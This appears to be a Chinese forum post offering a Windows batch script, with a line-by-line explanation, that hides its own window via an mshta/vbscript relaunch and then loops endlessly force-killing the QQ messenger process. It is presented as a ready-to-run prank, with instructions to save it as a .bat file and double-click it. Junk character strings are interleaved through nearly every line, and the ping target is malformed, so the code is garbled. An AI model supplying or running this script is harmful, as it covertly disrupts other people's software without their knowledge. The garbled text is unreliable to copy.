|
功能:运行以后机器上的QQ就不能运行了。终结方法是:打开任务管理器,然后结束进程cmd.exe就可以了。
- o% w& t* Z; Q0 ?新建文本文档,然后将下面代码复制进去,然后重命名为a.bat,然后双击就可以了。 . |, h. u k- j0 U
$ m& G" W1 U* i. P( |
@echo off 4 } }, U+ Z1 L' a# g ~' t' {/ G9 _
if "%1" == "h" goto begin 8 q3 k0 n6 K# a4 a. B: \
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit ' J# E$ j! q6 ^; Q7 o2 b
:begin 0 d# I3 M" d" h; _( l
tasklist |find /i "QQ.exe" ( v* g+ M5 b! h5 X5 G: ~
if %errorlevel%==0 (goto killit) else (goto next)
9 c/ A- ?( @2 S1 z% H:killit 1 k. b, a2 |7 O# n7 [( L* U6 p6 y1 w
taskkill /f /im QQ.exe ! o+ @2 h U) d5 J6 {0 P# ^
:next
! V3 J. }: P2 M# {% Y4 aping -n 3 127.t >nul 2>nul
3 Z2 U$ m2 o0 L2 U5 I9 `4 _$ V4 Egoto begin
' m2 h- ^& Z/ I2 f; q0 L6 k6 p0 P5 D/ e# M$ L, a
代码到此为止 : G7 N8 z* Q! o$ i
讲解如下:
* N- K. Z. L# @@echo off ------关闭回显
: {8 d- e! ^; `4 Y, |if "%1" == "h" goto begin --如果文件运行时有参数h,则显示窗口运行,否则只是在后台运行 ) H5 |$ L: u" S( x# y, e
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit -----隐藏窗口代码
0 w' {3 G. c/ M k* g. E:begin ------------定一段名begin
V1 F) K q6 J7 }+ z1 W% rtasklist |find /i "QQ.exe" ----在任务管理器里寻找进程QQ.exe 1 {5 ?$ d* A- d2 |
if %errorlevel%==0 (goto killit) else (goto next)---如果存在QQ.exe.则跳转执行killit,否则执行next # r8 Z8 O( ], H' p
:killit 5 h. X9 Q* Z* V# T# y' ~
taskkill /f /im QQ.exe----终结进程QQ.exe
# u/ c. `+ q6 E* }:next . P3 C6 j1 e9 E, h/ D8 O
ping -n 3 127.t >nul 2>nul -----延迟一段时间
. _8 B2 v n8 N) N. i/ E. R; ogoto begin--------------返回执行begin$ |3 [; Y$ D$ A
|
|